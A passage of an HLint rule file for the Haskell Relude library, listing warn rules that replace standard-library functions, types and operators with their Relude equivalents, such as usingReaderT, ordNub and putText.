whenNotNullM m f -- warn: - lhs: "m >>= \\case (x:xs) -> f (x :| xs); [] -> return ()" - rhs: whenNotNullM m f -- warn: - lhs: mapMaybe leftToMaybe - rhs: lefts -- warn: - lhs: mapMaybe rightToMaybe - rhs: rights -- warn: - lhs: flip runReaderT - rhs: usingReaderT -- warn: - lhs: flip runReader - rhs: usingReader -- warn: - lhs: flip runStateT - rhs: usingStateT -- warn: - lhs: flip runState - rhs: usingState -- warn: - lhs: "fst <$> usingStateT s st" - rhs: evaluatingStateT s st -- warn: - lhs: "fst (usingState s st)" - rhs: evaluatingState s st -- warn: - lhs: "snd <$> usingStateT s st" - rhs: executingStateT s st -- warn: - lhs: "snd (usingState s st)" - rhs: executingState s st -- warn: - lhs: "MaybeT (pure m)" - rhs: hoistMaybe m -- warn: - lhs: "MaybeT (return m)" - rhs: hoistMaybe m -- warn: - lhs: MaybeT . pure - rhs: hoistMaybe -- warn: - lhs: MaybeT . return - rhs: hoistMaybe -- warn: - lhs: "ExceptT (pure m)" - rhs: hoistEither m -- warn: - lhs: "ExceptT (return m)" - rhs: hoistEither m -- warn: - lhs: ExceptT . pure - rhs: hoistEither -- warn: - lhs: ExceptT . return - rhs: hoistEither -- warn: - lhs: fromMaybe mempty - rhs: maybeToMonoid -- warn: - lhs: "m ?: mempty" - rhs: maybeToMonoid m -- warn: - lhs: "Data.Map.toAscList (Data.Map.fromList x)" - rhs: sortWith fst x -- warn: - lhs: "Data.Map.toDescList (Data.Map.fromList x)" - rhs: "sortWith (Down . fst) x" -- warn: - lhs: "Data.Set.toList (Data.Set.fromList l)" - rhs: sortNub l -- warn: - lhs: "Data.Set.assocs (Data.Set.fromList l)" - rhs: sortNub l -- warn: - lhs: "Data.Set.toAscList (Data.Set.fromList l)" - rhs: sortNub l -- warn: - lhs: "Data.HashSet.toList (Data.HashSet.fromList l)" - rhs: unstableNub l -- warn: - lhs: nub - note: "'nub' is O(n^2), 'ordNub' is O(n log n)" - rhs: ordNub -- warn: - lhs: "sortBy (comparing f)" - note: "If the function you are using for 'comparing' is slow, use 'sortOn' instead of 'sortWith', because 'sortOn' caches applications the function and 'sortWith' doesn't." - rhs: sortWith f -- warn: - lhs: sortOn fst - note: "'sortWith' will be faster here because it doesn't do caching" - rhs: sortWith fst -- warn: - lhs: sortOn snd - note: "'sortWith' will be faster here because it doesn't do caching" - rhs: sortWith snd -- warn: - lhs: "sortOn (Down . fst)" - note: "'sortWith' will be faster here because it doesn't do caching" - rhs: "sortWith (Down . fst)" -- warn: - lhs: "sortOn (Down . snd)" - note: "'sortWith' will be faster here because it doesn't do caching" - rhs: "sortWith (Down . snd)" -- warn: - lhs: Data.Text.IO.putStr - rhs: putText -- warn: - lhs: Data.Text.IO.putStrLn - rhs: putTextLn -- warn: - lhs: Data.Text.Lazy.IO.putStr - rhs: putLText -- warn: - lhs: Data.Text.Lazy.IO.putStrLn - rhs: putLTextLn -- warn: - lhs: Data.ByteString.Char8.putStr - rhs: putBS -- warn: - lhs: Data.ByteString.Char8.putStrLn - rhs: putBSLn -- warn: - lhs: Data.ByteString.Lazy.Char8.putStr - rhs: putLBS -- warn: - lhs: Data.ByteString.Lazy.Char8.putStrLn - rhs: putLBSLn -- warn: - lhs: Data.Text.Lazy.Text - rhs: LText -- warn: - lhs: Data.ByteString.Lazy.ByteString - rhs: LByteString -- warn: - lhs: Data.ByteString.UTF8.fromString - rhs: encodeUtf8 -- warn: - lhs: Data.ByteString.UTF8.toString - rhs: decodeUtf8 -- warn: - lhs: Data.Text.Encoding.encodeUtf8 - rhs: encodeUtf8 -- warn: - lhs: Data.Text.Encoding.decodeUtf8 - rhs: decodeUtf8 -- warn: - lhs: "Data.ByteString.Lazy.toStrict (encodeUtf8 x)" - rhs: encodeUtf8 x -- warn: - lhs: "toStrict (encodeUtf8 x)" - rhs: encodeUtf8 x -- warn: - lhs: "decodeUtf8 (Data.ByteString.Lazy.fromStrict x)" - rhs: decodeUtf8 x -- warn: - lhs: "decodeUtf8 (fromStrict x)" - rhs: decodeUtf8 x -- warn: - lhs: Data.ByteString.Lazy.UTF8.fromString - rhs: encodeUtf8 -- warn: - lhs: Data.ByteString.Lazy.UTF8.toString - rhs: decodeUtf8 -- warn: - lhs: "Data.ByteString.Lazy.fromStrict (Data.Text.Encoding.encodeUtf8 x)" - rhs: encodeUtf8 x -- warn: - lhs: "Data.ByteString.Lazy.fromStrict (encodeUtf8 x)" - rhs: encodeUtf8 x -- warn: - lhs: "Data.Text.Encoding.decodeUtf8 (Data.ByteString.Lazy.toStrict x)" - rhs: decodeUtf8 x -- warn: - lhs: "Data.Text.Encoding.decodeUtf8 (toStrict x)" - rhs: decodeUtf8 x -- warn: - lhs: "decodeUtf8 (Data.ByteString.Lazy.toStrict x)" - rhs: decodeUtf8 x -- warn: - lhs: "decodeUtf8 (toStrict x)" - rhs: decodeUtf8 x -- warn: - lhs: Data.Text.pack - rhs: toText -- warn: - lhs: Data.Text.unpack - rhs: toString -- warn: - lhs: Data.Text.Lazy.pack - rhs: toLText -- warn: - lhs: Data.Text.Lazy.unpack - rhs: toString -- warn: - lhs: Data.Text.Lazy.toStrict - rhs: toText -- warn: - lhs: Data.Text.Lazy.fromStrict - rhs: toLText -- warn: - lhs: "Data.Text.pack (show x)" - rhs: show x -- warn: - lhs: "Data.Text.Lazy.pack (show x)" - rhs: show x -- warn: - lhs: Data.ByteString.Lazy.fromStrict - rhs: fromStrict -- warn: - lhs: Data.ByteString.Lazy.toStrict - rhs: toStrict -- warn: - lhs: Data.Text.Lazy.fromStrict - rhs: fromStrict -- warn: - lhs: Data.Text.Lazy.toStrict - rhs: toStrict -- warn: - lhs: Control.Applicative.Alternative - name: "Use 'Alternative' from Relude" - note: "'Alternative' is already exported from Relude" - rhs: Alternative -- warn: - lhs: Control.Applicative.empty - name: "Use 'empty' from Relude" - note: "'empty' is already exported from Relude" - rhs: empty -- warn: - lhs: "(Control.Applicative.<|>)" - name: "Use '<|>' from Relude" - note: "Operator '(<|>)' is already exported from Relude" - rhs: "(<|>)" -- warn: - lhs: Control.Applicative.some - name: "Use 'some' from Relude" - note: "'some' is already exported from Relude" - rhs: some -- warn: - lhs: Control.Applicative.many - name: "Use 'many' from Relude" - note: "'many' is already exported from Relude" - rhs: many -- warn: - lhs: Control.Applicative.Const - name: "Use 'Const' from Relude" - note: "'Const' is already exported from Relude" - rhs: Const -- warn: - lhs: Control.Applicative.getConst - name: "Use 'getConst' from Relude" - note: "'getConst' is already exported from Relude" - rhs: getConst -- warn: - lhs: Control.Applicative.ZipList - name: "Use 'ZipList' from Relude" - note: "'ZipList' is already exported from Relude" - rhs: ZipList -- warn: - lhs: Control.Applicative.getZipList - name: "Use 'getZipList' from Relude" - note: "'getZipList' is already exported from Relude" - rhs: getZipList -- warn: - lhs: Control.Applicative.liftA2 - name: "Use 'liftA2' from Relude" - note: "'liftA2' is already exported from Relude" - rhs: liftA2 -- warn: - lhs: Control.Applicative.liftA3 - name: "Use 'liftA3' from Relude" - note: "'liftA3' is already exported from Relude" - rhs: liftA3 -- warn: - lhs: Control.Applicative.optional - name: "Use 'optional' from Relude" - note: "'optional' is already exported from Relude" - rhs: optional -- warn: - lhs: "(Control.Applicative.<**>)" - name: "Use '<**>' from Relude" - note: "Operator '(<**>)' is already exported from Relude" - rhs: "(<**>)" -- warn: - lhs: Data.Bits.xor - name: "Use 'xor' from Relude" - note: "'xor' is already exported from Relude" - rhs: xor -- warn: - lhs: Data.Char.chr - name: "Use 'chr' from Relude" - note: "'chr' is already exported from Relude" - rhs: chr -- warn: - lhs: Data.Int.Int8 - name: "Use 'Int8' from Relude" - note: "'Int8' is already exported from Relude" - rhs: Int8 -- warn: - lhs: Data.Int.Int16 - name: "Use 'Int16' from Relude" - note: "'Int16' is already exported from Relude" - rhs: Int16 -- warn: - lhs: Data.Int.Int32 - name: "Use 'Int32' from Relude" - note: "'Int32' is already exported from Relude" - rhs: Int32 -- warn: - lhs: Data.Int.Int64 - name: "Use 'Int64' from Relude" - note: "'Int64' is already exported from Relude" - rhs: Int64 -- warn: - lhs: Data.Word.Word8 - name: "Use 'Word8' from Relude" - note: "'Word8' is already exported from Relude" - rhs: Word8 -- warn: - lhs: Data.Word.Word16 - name: "Use 'Word16' from Relude" - note: "'Word16' is already exported from Relude" - rhs: Word16 -- warn: - lhs: Data.Word.Word32 - name: "Use 'Word32' from Relude" - note: "'Word32' is already exported from Relude" - rhs: Word32 -- warn: - lhs: Data.Word.Word64 - name: "Use 'Word64' from Relude" - note: "'Word64' is already exported from Relude" - rhs: Word64 -- warn: - lhs: Data.Word.byteSwap16 - name: "Use 'byteSwap16' from Relude" - note: "'byteSwap16' is already exported from Relude" - rhs: byteSwap16 -- warn: - lhs: Data.Word.byteSwap32 - name: "Use 'byteSwap32' from Relude" - note: "'byteSwap32' is already exported from Relude" - rhs: byteSwap32 -- warn: - lhs: Data.Word.byteSwap64 - name: "Use 'byteSwap64' from Relude" - note: "'byteSwap64' is already exported from Relude" - rhs: byteSwap64 -- warn: - lhs: Numeric.Natural.Natural - name: "Use 'Natural' from Relude" - note: "'Natural' is already exported from Relude" - rhs: Natural -- warn: - lhs: System.IO.IOMode - name: "Use 'IOMode' from Relude" - note: "'IOMode' is already exported from Relude" - rhs: IOMode -- warn: - lhs: System.IO.ReadMode - name: "Use 'ReadMode' from Relude" - note: "'ReadMode' is already exported from Relude" - rhs: ReadMode -- warn: - lhs: System.IO.WriteMode - name: "Use 'WriteMode' from Relude" - note: "'WriteMode' is already exported from Relude" - rhs: WriteMode -- warn: - lhs: System.IO.AppendMode - name: "Use 'AppendMode' from Relude" - note: "'AppendMode' is already exported from Relude" - rhs: AppendMode -- warn: - lhs: System.IO.ReadWriteMode - name: "Use 'ReadWriteMode' from Relude" - note: "'ReadWriteMode' is already exported from Relude" - rhs: ReadWriteMode -- warn: - lhs: Data.Ord.Down - name: "Use 'Down' from Relude" - note: "'Down' is already exported from Relude" - rhs: Down -- warn: - lhs: Data.Ord.comparing - name: "Use 'comparing' from Relude" - note: "'comparing' is already exported from Relude" - rhs: comparing -- warn: - lhs: Data.Coerce.Coercible - name: "Use 'Coercible' from Relude" - note: "'Coercible' is already exported from Relude" - rhs: Coercible -- warn: - lhs: Data.Coerce.coerce - name: "Use 'coerce' from Relude" - note: "'coerce' is already exported from Relude" - rhs: coerce -- warn: - lhs: Data.Kind.Constraint - name: "Use 'Constraint' from Relude" - note: "'Constraint' is already exported from Relude" - rhs: Constraint -- warn: - lhs: Data.Kind.Type - name: "Use 'Type' from Relude" - note: "'Type' is already exported from Relude" - rhs: Type -- warn: - lhs: Data.Typeable.Typeable - name: "Use 'Typeable' from Relude" - note: "'Typeable' is already exported from Relude" - rhs: Typeable -- warn: - lhs: Data.Proxy.Proxy - name: "Use 'Proxy' from Relude" - note: "'Proxy' is already exported from Relude" - rhs: Proxy -- warn: - lhs: Data.Typeable.Typeable - name: "Use 'Typeable' from Relude" - note: "'Typeable' is already exported from Relude" - rhs: Typeable -- warn: - lhs: Data.Void.Void - name: "Use 'Void' from Relude" - note: "'Void' is already exported from Relude" - rhs: Void -- warn: - lhs: Data.Void.absurd - name: "Use 'absurd' from Relude" - note: "'absurd' is already exported from Relude" - rhs: absurd -- warn: - lhs: Data.Void.vacuous - name: "Use 'vacuous' from Relude" - note: "'vacuous' is already exported from Relude" - rhs: vacuous -- warn: - lhs: Data.Base.maxInt - name: "Use 'maxInt' from Relude" - note: "'maxInt' is already exported from Relude" - rhs: maxInt -- warn: - lhs: Data.Base.minInt - name: "Use 'minInt' from Relude" - note: "'minInt' is already exported from Relude" - rhs: minInt -- warn: - lhs: Data.Base.ord - name: "Use 'ord' from Relude" - note: "'ord' is already exported from Relude" - rhs: ord -- warn: - lhs: GHC.Enum.boundedEnumFrom - name: "Use 'boundedEnumFrom' from Relude" - note: "'boundedEnumFrom' is already exported from Relude" - rhs: boundedEnumFrom -- warn: - lhs: GHC.Enum.boundedEnumFromThen - name: "Use 'boundedEnumFromThen' from Relude" - note: "'boundedEnumFromThen' is already exported from Relude" - rhs: boundedEnumFromThen -- warn: - lhs: GHC.Generics.Generic - name: "Use 'Generic' from Relude" - note: "'Generic' is already exported from Relude" - rhs: Generic -- warn: - lhs: GHC.Real.Ratio - name: "Use 'Ratio' from Relude" - note: "'Ratio' is already exported from Relude" - rhs: Ratio -- warn: - lhs: GHC.Real.Rational - name: "Use 'Rational' from Relude" - note: "'Rational' is already exported from Relude" - rhs: Rational -- warn: - lhs: GHC.Real.denominator - name: "Use 'denominator' from Relude" - note: "'denominator' is already exported from Relude" - rhs: denominator -- warn: - lhs: GHC.Real.numerator - name: "Use 'numerator' from Relude" - note: "'numerator' is already exported from Relude" - rhs: numerator -- warn: - lhs: GHC.TypeNats.CmpNat - name: "Use 'CmpNat' from Relude" - note: "'CmpNat' is already exported from Relude" - rhs: CmpNat -- warn: - lhs: GHC.TypeNats.KnownNat - name: "Use 'KnownNat' from Relude" - note: "'KnownNat' is already exported from Relude" - rhs: KnownNat -- warn: - lhs: GHC.TypeNats.Nat - name: "Use 'Nat' from Relude" - note: "'Nat' is already exported from Relude" - rhs: Nat -- warn: - lhs: GHC.TypeNats.SomeNat - name: "Use 'SomeNat' from Relude" - note: "'SomeNat' is already exported from Relude" - rhs: SomeNat -- warn: - lhs: GHC.TypeNats.natVal - name: "Use 'natVal' from Relude" - note: "'natVal' is already exported from Relude" - rhs: natVal -- warn: - lhs: GHC.TypeNats.someNatVal - name: "Use 'someNatVal' from Relude" - note: "'someNatVal' is already exported from Relude" - rhs: someNatVal -- warn: - lhs: GHC.TypeLits.CmpNat - name: "Use 'CmpNat' from Relude" - note: "'CmpNat' is already exported from Relude" - rhs: CmpNat -- warn: - lhs: GHC.TypeLits.KnownNat - name: "Use 'KnownNat' from Relude" - note: "'KnownNat' is already exported from Relude" - rhs: KnownNat -- warn: - lhs: GHC.TypeLits.Nat - name: "Use 'Nat' from Relude" - note: "'Nat' is already exported from Relude" - rhs: Nat -- warn: - lhs: GHC.TypeLits.SomeNat - name: "Use 'SomeNat' from Relude" - note: "'SomeNat' is already exported from Relude" - rhs: SomeNat -- warn: - lhs: GHC.TypeLits.natVal - name: "Use 'natVal' from Relude" - note: "'natVal' is already exported from Relude" - rhs: natVal -- warn: - lhs: GHC.TypeLits.someNatVal - name: "Use 'someNatVal' from Relude" - note: "'someNatVal' is already exported from Relude" - rhs: someNatVal -- warn: - lhs: GHC.ExecutionStack.getStackTrace - name: "Use 'getStackTrace' from Relude" - note: "'getStackTrace' is already exported from Relude" - rhs: getStackTrace -- warn: - lhs: GHC.ExecutionStack.showStackTrace - name: "Use 'showStackTrace' from Relude" - note: "'showStackTrace' is already exported from Relude" - rhs: showStackTrace -- warn: - lhs: GHC.OverloadedLabels.IsLabel - name: "Use 'IsLabel' from Relude" - note: "'IsLabel' is already exported from Relude" - rhs: IsLabel -- warn: - lhs: GHC.OverloadedLabels.fromLabel - name: "Use 'fromLabel' from Relude" - note: "'fromLabel' is already exported from Relude" - rhs: fromLabel -- warn: - lhs: GHC.Stack.CallStack - name: "Use 'CallStack' from Relude" - note: "'CallStack' is already exported from Relude" - rhs: CallStack -- warn: - lhs: GHC.Stack.HasCallStack - name: "Use 'HasCallStack' from Relude" - note: "'HasCallStack' is already exported from Relude" - rhs: HasCallStack -- warn: - lhs: GHC.Stack.callStack - name: "Use 'callStack' from Relude" - note: "'callStack' is already exported from Relude" - rhs: callStack -- warn: - lhs: GHC.Stack.currentCallStack - name: "Use 'currentCallStack' from Relude" - note: "'currentCallStack' is already exported from Relude" - rhs: currentCallStack -- warn: - lhs: GHC.Stack.getCallStack - name: "Use 'getCallStack' from Relude" - note: "'getCallStack' is already exported from Relude" - rhs: getCallStack -- warn: - lhs: GHC.Stack.prettyCallStack - name: "Use 'prettyCallStack' from Relude" - note: "'prettyCallStack' is already exported from Relude" - rhs: prettyCallStack -- warn: - lhs: GHC.Stack.prettySrcLoc - name: "Use 'prettySrcLoc' from Relude" - note: "'prettySrcLoc' is already exported from Relude" - rhs: prettySrcLoc -- warn: - lhs: GHC.Stack.withFrozenCallStack - name: "Use 'withFrozenCallStack' from Relude" - note: "'withFrozenCallStack' is already exported from Relude" - rhs: withFrozenCallStack -- warn: - lhs: Data.Bifoldable.Bifoldable - name: "Use 'Bifoldable' from Relude" - note: "'Bifoldable' is already exported from Relude" - rhs: Bifoldable -- warn: - lhs: Data.Bifoldable.bifold - name: "Use 'bifold' from Relude" - note: "'bifold' is already exported from Relude" - rhs: bifold -- warn: - lhs: Data.Bifoldable.bifoldMap - name: "Use 'bifoldMap' from Relude" - note: "'bifoldMap' is already exported from Relude" - rhs: bifoldMap -- warn: - lhs: Data.Bifoldable.bifoldr - name: "Use 'bifoldr' from Relude" - note: "'bifoldr' is already exported from Relude" - rhs: bifoldr -- warn: - lhs: Data.Bifoldable.bifoldl - name: "Use 'bifoldl' from Relude" - note: "'bifoldl' is already exported from Relude" - rhs: bifoldl -- warn: - lhs: "Data.Bifoldable.bifoldl'" - name: "Use 'bifoldl'' from Relude" - note: "'bifoldl'' is already exported from Relude" - rhs: "bifoldl'" -- warn: - lhs: Data.Bifoldable.bifoldlM - name: "Use 'bifoldlM' from Relude" - note: "'bifoldlM' is already exported from Relude" - rhs: bifoldlM -- warn: - lhs: "Data.Bifoldable.bifoldr'" - name: "Use 'bifoldr'' from Relude" - note: "'bifoldr'' is already exported from Relude" - rhs: "bifoldr'" -- warn: - lhs: Data.Bifoldable.bifoldrM - name: "Use 'bifoldrM' from Relude" - note: "'bifoldrM' is already exported from Relude" - rhs: bifoldrM -- warn: - lhs: Data.Bifoldable.bitraverse_ - name: "Use 'bitraverse_' from Relude" - note: "'bitraverse_' is already exported from Relude" - rhs: bitraverse_ -- warn: - lhs: Data.Bifoldable.bifor_ - name: "Use 'bifor_' from Relude" - note: "'bifor_' is already exported from Relude" - rhs: bifor_ -- warn: - lhs: Data.Bifoldable.biasum - name: "Use 'biasum' from Relude" - note: "'biasum' is already exported from Relude" - rhs: biasum -- warn: - lhs: Data.Bifoldable.bisequence_ - name: "Use 'bisequence_' from Relude" - note: "'bisequence_' is already exported from Relude" - rhs: bisequence_ -- warn: - lhs: Data.Bifoldable.biList - name: "Use 'biList' from Relude" - note: "'biList' is already exported from Relude" - rhs: biList -- warn: - lhs: Data.Bifoldable.binull - name: "Use 'binull' from Relude" - note: "'binull' is already exported from Relude" - rhs: binull -- warn: - lhs: Data.Bifoldable.bilength - name: "Use 'bilength' from Relude" - note: "'bilength' is already exported from Relude" - rhs: bilength -- warn: - lhs: Data.Bifoldable.bielem - name: "Use 'bielem' from Relude" - note: "'bielem' is already exported from Relude" - rhs: bielem -- warn: - lhs: Data.Bifoldable.biand - name: "Use 'biand' from Relude" - note: "'biand' is already exported from Relude" - rhs: biand -- warn: - lhs: Data.Bifoldable.bior - name: "Use 'bior' from Relude" - note: "'bior' is already exported from Relude" - rhs: bior -- warn: - lhs: Data.Bifoldable.biany - name: "Use 'biany' from Relude" - note: "'biany' is already exported from Relude" - rhs: biany -- warn: - lhs: Data.Bifoldable.biall - name: "Use 'biall' from Relude" - note: "'biall' is already exported from Relude" - rhs: biall -- warn: - lhs: Data.Bifoldable.bifind - name: "Use 'bifind' from Relude" - note: "'bifind' is already exported from Relude" - rhs: bifind -- warn: - lhs: Data.Bitraversable.Bitraversable - name: "Use 'Bitraversable' from Relude" - note: "'Bitraversable' is already exported from Relude" - rhs: Bitraversable -- warn: - lhs: Data.Bitraversable.bitraverse - name: "Use 'bitraverse' from Relude" - note: "'bitraverse' is already exported from Relude" - rhs: bitraverse -- warn: - lhs: Data.Bitraversable.bisequence - name: "Use 'bisequence' from Relude" - note: "'bisequence' is already exported from Relude" - rhs: bisequence -- warn: - lhs: Data.Bitraversable.bifor - name: "Use 'bifor' from Relude" - note: "'bifor' is already exported from Relude" - rhs: bifor -- warn: - lhs: Data.Bitraversable.bimapDefault - name: "Use 'bimapDefault' from Relude" - note: "'bimapDefault' is already exported from Relude" - rhs: bimapDefault -- warn: - lhs: Data.Bitraversable.bifoldMapDefault - name: "Use 'bifoldMapDefault' from Relude" - note: "'bifoldMapDefault' is already exported from Relude" - rhs: bifoldMapDefault -- warn: - lhs: Control.Monad.guard - name: "Use 'guard' from Relude" - note: "'guard' is already exported from Relude" - rhs: guard -- warn: - lhs: Control.Monad.unless - name: "Use 'unless' from Relude" - note: "'unless' is already exported from Relude" - rhs: unless -- warn: - lhs: Control.Monad.when - name: "Use 'when' from Relude" - note: "'when' is already exported from Relude" - rhs: when -- warn: - lhs: Data.Bool.bool - name: "Use 'bool' from Relude" - note: "'bool' is already exported from Relude" - rhs: bool -- warn: - lhs: Data.Hashable.Hashable - name: "Use 'Hashable' from Relude" - note: "'Hashable' is already exported from Relude" - rhs: Hashable -- warn: - lhs: Data.Hashable.hashWithSalt - name: "Use 'hashWithSalt' from Relude" - note: "'hashWithSalt' is already exported from Relude" - rhs: hashWithSalt -- warn: - lhs: Data.HashMap.Strict.HashMap - name: "Use 'HashMap' from Relude" - note: "'HashMap' is already exported from Relude" - rhs: HashMap -- warn: - lhs: Data.HashSet.HashSet - name: "Use 'HashSet' from Relude" - note: "'HashSet' is already exported from Relude" - rhs: HashSet -- warn: - lhs: Data.IntMap.Strict.IntMap - name: "Use 'IntMap' from Relude" - note: "'IntMap' is already exported from Relude" - rhs: IntMap -- warn: - lhs: Data.IntSet.IntSet - name: "Use 'IntSet' from Relude" - note: "'IntSet' is already exported from Relude" - rhs: IntSet -- warn: - lhs: Data.Map.Strict.Map - name: "Use 'Map' from Relude" - note: "'Map' is already exported from Relude" - rhs: Map -- warn: - lhs: Data.Sequence.Sequence - name: "Use 'Sequence' from Relude" - note: "'Sequence' is already exported from Relude" - rhs: Sequence -- warn: - lhs: Data.Set.Set - name: "Use 'Set' from Relude" - note: "'Set' is already exported from Relude" - rhs: Set -- warn: - lhs: Data.Tuple.swap - name: "Use 'swap' from Relude" - note: "'swap' is already exported from Relude" - rhs: swap -- warn: - lhs: Data.Vector.Vector - name: "Use 'Vector' from Relude" - note: "'Vector' is already exported from Relude" - rhs: Vector -- warn: - lhs: GHC.Exts.IsList - name: "Use 'IsList' from Relude" - note: "'IsList' is already exported from Relude" - rhs: IsList -- warn: - lhs: GHC.Exts.fromList - name: "Use 'fromList' from Relude" - note: "'fromList' is already exported from Relude" - rhs: fromList -- warn: - lhs: GHC.Exts.fromListN - name: "Use 'fromListN' from Relude" - note: "'fromListN' is already exported from Relude" - rhs: fromListN -- warn: - lhs: Debug.Trace.trace - name: "Use 'trace' from Relude" - note: "'trace' is already exported from Relude" - rhs: trace -- warn: - lhs: Debug.Trace.traceShow - name: "Use 'traceShow' from Relude" - note: "'traceShow' is already exported from Relude" - rhs: traceShow -- warn: - lhs: Debug.Trace.traceShowId - name: "Use 'traceShowId' from Relude" - note: "'traceShowId' is already exported from Relude" - rhs: traceShowId -- warn: - lhs: Debug.Trace.traceShowM - name: "Use 'traceShowM' from Relude" - note: "'traceShowM' is already exported from Relude" - rhs: traceShowM -- warn: - lhs: Debug.Trace.traceM - name: "Use 'traceM' from Relude" - note: "'traceM' is already exported from Relude" - rhs: traceM -- warn: - lhs: Debug.Trace.traceId - name: "Use 'traceId' from Relude" - note: "'traceId' is already exported from Relude" - rhs: traceId -- warn: - lhs: Control.DeepSeq.NFData - name: "Use 'NFData' from Relude" - note: "'NFData' is already exported from Relude" - rhs: NFData -- warn: - lhs: Control.DeepSeq.rnf - name: "Use 'rnf' from Relude" - note: "'rnf' is already exported from Relude" - rhs: rnf -- warn: - lhs: Control.DeepSeq.deepseq - name: "Use 'deepseq' from Relude" - note: "'deepseq' is already exported from Relude" - rhs: deepseq -- warn: - lhs: Control.DeepSeq.force - name: "Use 'force' from Relude" - note: "'force' is already exported from Relude" - rhs: force -- warn: - lhs: "(Control.DeepSeq.$!!)" - name: "Use '$!!' from Relude" - note: "Operator '($!!)' is already exported from Relude" - rhs: "($!!)" -- warn: - lhs: Control.Exception.Exception - name: "Use 'Exception' from Relude" - note: "'Exception' is already exported from Relude" - rhs: Exception -- warn: - lhs: Control.Exception.SomeException - name: "Use 'SomeException' from Relude" - note: "'SomeException' is already exported from Relude" - rhs: SomeException -- warn: - lhs: Control.Exception.toException - name: "Use 'toException' from Relude" - note: "'toException' is already exported from Relude" - rhs: toException -- warn: - lhs: Control.Exception.fromException - name: "Use 'fromException' from Relude" - note: "'fromException' is already exported from Relude" - rhs: fromException -- warn: - lhs: Control.Exception.displayException - name: "Use 'displayException' from Relude" - note: "'displayException' is already exported from Relude" - rhs: displayException -- warn: - lhs: Data.Foldable.asum - name: "Use 'asum' from Relude" - note: "'asum' is already exported from Relude" - rhs: asum -- warn: - lhs: Data.Foldable.find - name: "Use 'find' from Relude" - note: "'find' is already exported from Relude" - rhs: find -- warn: - lhs: Data.Foldable.find - name: "Use 'find' from Relude" - note: "'find' is already exported from Relude" - rhs: find -- warn: - lhs: Data.Foldable.fold - name: "Use 'fold' from Relude" - note: "'fold' is already exported from Relude" - rhs: fold -- warn: - lhs: "Data.Foldable.foldl'" - name: "Use 'foldl'' from Relude" - note: "'foldl'' is already exported from Relude" - rhs: "foldl'" -- warn: - lhs: Data.Foldable.forM_ - name: "Use 'forM_' from Relude" - note: "'forM_' is already exported from Relude" - rhs: forM_ -- warn: - lhs: Data.Foldable.for_ - name: "Use 'for_' from Relude" - note: "'for_' is already exported from Relude" - rhs: for_ -- warn: - lhs: Data.Foldable.sequenceA_ - name: "Use 'sequenceA_' from Relude" - note: "'sequenceA_' is already exported from Relude" - rhs: sequenceA_ -- warn: - lhs: Data.Foldable.toList - name: "Use 'toList' from Relude" - note: "'toList' is already exported from Relude" - rhs: toList -- warn: - lhs: Data.Foldable.traverse_ - name: "Use 'traverse_' from Relude" - note: "'traverse_' is already exported from Relude" - rhs: traverse_ -- warn: - lhs: Data.Traversable.forM - name: "Use 'forM' from Relude" - note: "'forM' is already exported from Relude" - rhs: forM -- warn: - lhs: Data.Traversable.mapAccumL - name: "Use 'mapAccumL' from Relude" - note: "'mapAccumL' is already exported from Relude" - rhs: mapAccumL -- warn: - lhs: Data.Traversable.mapAccumR - name: "Use 'mapAccumR' from Relude" - note: "'mapAccumR' is already exported from Relude" - rhs: mapAccumR -- warn: - lhs: "(Control.Arrow.&&&)" - name: "Use '&&&' from Relude" - note: "Operator '(&&&)' is already exported from Relude" - rhs: "(&&&)" -- warn: - lhs: "(Control.Category.>>>)" - name: "Use '>>>' from Relude" - note: "Operator '(>>>)' is already exported from Relude" - rhs: "(>>>)" -- warn: - lhs: "(Control.Category.<<<)" - name: "Use '<<<' from Relude" - note: "Operator '(<<<)' is already exported from Relude" - rhs: "(<<<)" -- warn: - lhs: Data.Function.fix - name: "Use 'fix' from Relude" - note: "'fix' is already exported from Relude" - rhs: fix -- warn: - lhs: Data.Function.on - name: "Use 'on' from Relude" - note: "'on' is already exported from Relude" - rhs: "on" -- warn: - lhs: Data.Bifunctor.Bifunctor - name: "Use 'Bifunctor' from Relude" - note: "'Bifunctor' is already exported from Relude" - rhs: Bifunctor -- warn: - lhs: Data.Bifunctor.bimap - name: "Use 'bimap' from Relude" - note: "'bimap' is already exported from Relude" - rhs: bimap -- warn: - lhs: Data.Bifunctor.first - name: "Use 'first' from Relude" - note: "'first' is already exported from Relude" - rhs: first -- warn: - lhs: Data.Bifunctor.second - name: "Use 'second' from Relude" - note: "'second' is already exported from Relude" - rhs: second -- warn: - lhs: Data.Functor.void - name: "Use 'void' from Relude" - note: "'void' is already exported from Relude" - rhs: void -- warn: - lhs: "(Data.Functor.$>)" - name: "Use '$>' from Relude" - note: "Operator '($>)' is already exported from Relude" - rhs: "($>)" -- warn: - lhs: "(Data.Functor.<&>)" - name: "Use '<&>' from Relude" - note: "Operator '(<&>)' is already exported from Relude" - rhs: "(<&>)" -- warn: - lhs: Data.Functor.Compose.Compose - name: "Use 'Compose' from Relude" - note: "'Compose' is already exported from Relude" - rhs: Compose -- warn: - lhs: Data.Functor.Compose.getCompose - name: "Use 'getCompose' from Relude" - note: "'getCompose' is already exported from Relude" - rhs: getCompose -- warn: - lhs: Data.Functor.Identity.Identity - name: "Use 'Identity' from Relude" - note: "'Identity' is already exported from Relude" - rhs: Identity -- warn: - lhs: Data.Functor.Identity.runIdentity - name: "Use 'runIdentity' from Relude" - note: "'runIdentity' is already exported from Relude" - rhs: runIdentity -- warn: - lhs: Control.Concurrent.MVar.MVar - name: "Use 'MVar' from Relude" - note: "'MVar' is already exported from Relude" - rhs: MVar -- warn: - lhs: Control.Concurrent.MVar.newEmptyMVar - name: "Use 'newEmptyMVar' from Relude" - note: "'newEmptyMVar' is already exported from Relude" - rhs: newEmptyMVar -- warn: - lhs: Control.Concurrent.MVar.newMVar - name: "Use 'newMVar' from Relude" - note: "'newMVar' is already exported from Relude" - rhs: newMVar -- warn: - lhs: Control.Concurrent.MVar.putMVar - name: "Use 'putMVar' from Relude" - note: "'putMVar' is already exported from Relude" - rhs: putMVar -- warn: - lhs: Control.Concurrent.MVar.readMVar - name: "Use 'readMVar' from Relude" - note: "'readMVar' is already exported from Relude" - rhs: readMVar -- warn: - lhs: Control.Concurrent.MVar.swapMVar - name: "Use 'swapMVar' from Relude" - note: "'swapMVar' is already exported from Relude" - rhs: swapMVar -- warn: - lhs: Control.Concurrent.MVar.takeMVar - name: "Use 'takeMVar' from Relude" - note: "'takeMVar' is already exported from Relude" - rhs: takeMVar -- warn: - lhs: Control.Concurrent.MVar.tryPutMVar - name: "Use 'tryPutMVar' from Relude" - note: "'tryPutMVar' is already exported from Relude" - rhs: tryPutMVar -- warn: - 